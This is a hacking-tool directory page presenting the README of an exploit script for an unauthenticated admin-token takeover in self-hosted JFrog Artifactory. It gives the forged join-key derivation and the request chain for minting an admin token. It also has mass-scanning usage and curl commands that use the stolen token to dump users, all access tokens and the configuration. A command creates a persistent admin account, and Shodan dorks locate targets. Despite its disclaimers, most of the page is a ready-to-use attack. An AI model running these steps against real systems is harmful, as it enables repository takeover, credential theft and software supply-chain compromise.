Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-82329-JFrog-Artifactory-Auth-Bypass — Exploit for CVE-2026-82329, an unauthenticated auth bypass in self-hosted JFrog Artifactory, allowing admin token takeover via blank join key. | Kitploit
Tools/GitHubGitHub/ynsmroztas/cve-2026-82329-jfrog-artifactory-auth-bypass
Authentication & AuthorizationVulnerability ScannersExploitationWeb Application ExploitationPenetration Testing
GitHubynsmroztas/cve-2026-82329-jfrog-artifactory-auth-bypass

CVE-2026-82329-JFrog-Artifactory-Auth-Bypass

Exploit for CVE-2026-82329, an unauthenticated auth bypass in self-hosted JFrog Artifactory, allowing admin token takeover via blank join key.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
17h 56m agoNot yet reviewed

artifactory.py

artifactory.py — CVE-2026-82329 unauth admin takeover

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║  artifactory  ·  CVE-2026-82329 unauth admin takeover    ║
║  mitsec       ·  https://x.com/ynsmroztas                ║
╚══════════════════════════════════════════════════════════╝

CVE-2026-82329 — JFrog Artifactory (self-hosted) unauthenticated join-JWT
→ SERVICE admin token → platform applied-permissions/admin access token.

CVSS 9.8 · CWE-287 · CISA KEV · exploited in the wild.

Authorized testing only. Do not run this against systems you do not own or do not have written permission to test.


What it does

Default self-hosted installs trust a blank join key.

root@kitploit:~
JoinKeyUtils.getSigningKey("")  ==  pkcs7(empty, 32)  ==  32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Cloud-hosted JFrog is patched. Self-hosted only.

Access fix line: 7.191.14.


Install

root@kitploit:~
# stdlib only — no pip
python3 artifactory.py -h

TLS verification is off by default (self-signed Artifactory is normal).
No extra flag.


Usage

root@kitploit:~
# single host
python3 artifactory.py -u https://artifactory.example.internal:8082

# print minted admin token
python3 artifactory.py -u https://TARGET:8082 --token

# list / pipeline (httpx, shodan, subfinder style)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py

# Pro / Enterprise only — persist a local admin (destructive)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1

Output

root@kitploit:~
[VULN]  https://TARGET:8082  join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE]  https://patched:8082  join HTTP 401  (patched / no blank key)
[FAIL]  https://dead:8082     unreachable
TagMeaning

--token prints the Bearer value. That is the takeover — a login user is optional.

--create-admin often returns 400 on OSS (PUT /artifactory/api/security/users is Pro).
The admin token still works. Persistence is not required for a valid finding.


After a hit — use the token

Replace TARGET and paste the token from --token.

root@kitploit:~
TOKEN='eyJ...'          # output of --token
B='https://TARGET:8082'

# version / edition
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/system/version"

# user directory (admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v2/users"

# every access token on the instance
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v1/tokens" | head -c 400

# repository inventory
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/repositories"

Other useful admin-only reads (do not write unless authorized):

root@kitploit:~
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/system/configuration" -o config.xml

curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/security/users"

curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v1/tokens"

UI: Platform → login with Access Token, or send
Authorization: Bearer <token> on every request.

Optional persistent user (Pro / Access v2)

root@kitploit:~
curl -sk -D- -X POST "$B/access/api/v2/users" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'

Password policy 400 ≠ not vulnerable. Token already has aud=*.


Recon

root@kitploit:~
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"

# common ports
8081  8082  8040  8046  443

Tool strips /artifactory /ui /webapp from -u and talks to the Access router on the same origin.


Why --create-admin is not the finding

Report impact as: unauthenticated platform administrator token.
User creation is a follow-up, not the root issue.


References

  • NVD — CVE-2026-82329
  • JFrog security advisories
  • Self-managed releases / patches
  • Lab + patch diff: dinosn/cve-2026-82329-jfrog-artifactory

Disclaimer

This repository is a validator for systems you are authorized to test.
Minting tokens, listing users, or creating accounts on third-party infrastructure without permission is illegal.

Patch: upgrade to the fixed build for your branch, set a real join key, rotate tokens minted after disclosure.


mitsec · @ynsmroztas )

Download Tool
StepRequestResult
1Forge HS256 join JWT (iat fresh, skip_node_registration=true)known HMAC secret
2POST /access/api/v1/registry/join201 SERVICE token scp=admin
3POST /access/api/v1/tokens200 admin token scp=applied-permissions/admin aud=*
4GET /artifactory/api/system/configurationadmin-only proof (unauth = 401)
BranchVulnerable ≤Fixed
7.1117.111.207.111.21
7.1177.117.277.117.28
7.1257.125.197.125.20
7.1337.133.287.133.29
7.1467.146.377.146.38
7.1617.161.197.161.20
VULN
Blank join accepted + admin proof (configuration or token list = 200)
SAFEJoin rejected — patched, extra join keys set, or not Access
INFOJoin minted, proof endpoints not 200 — inspect manually
FAILNetwork / timeout
SurfaceOSSPro / Enterprise
Mint admin access tokenyesyes
Read config / list tokens / reposyesyes
PUT /artifactory/api/security/users400 Pro-only200/201
POST /access/api/v2/usersversion / policy dependent201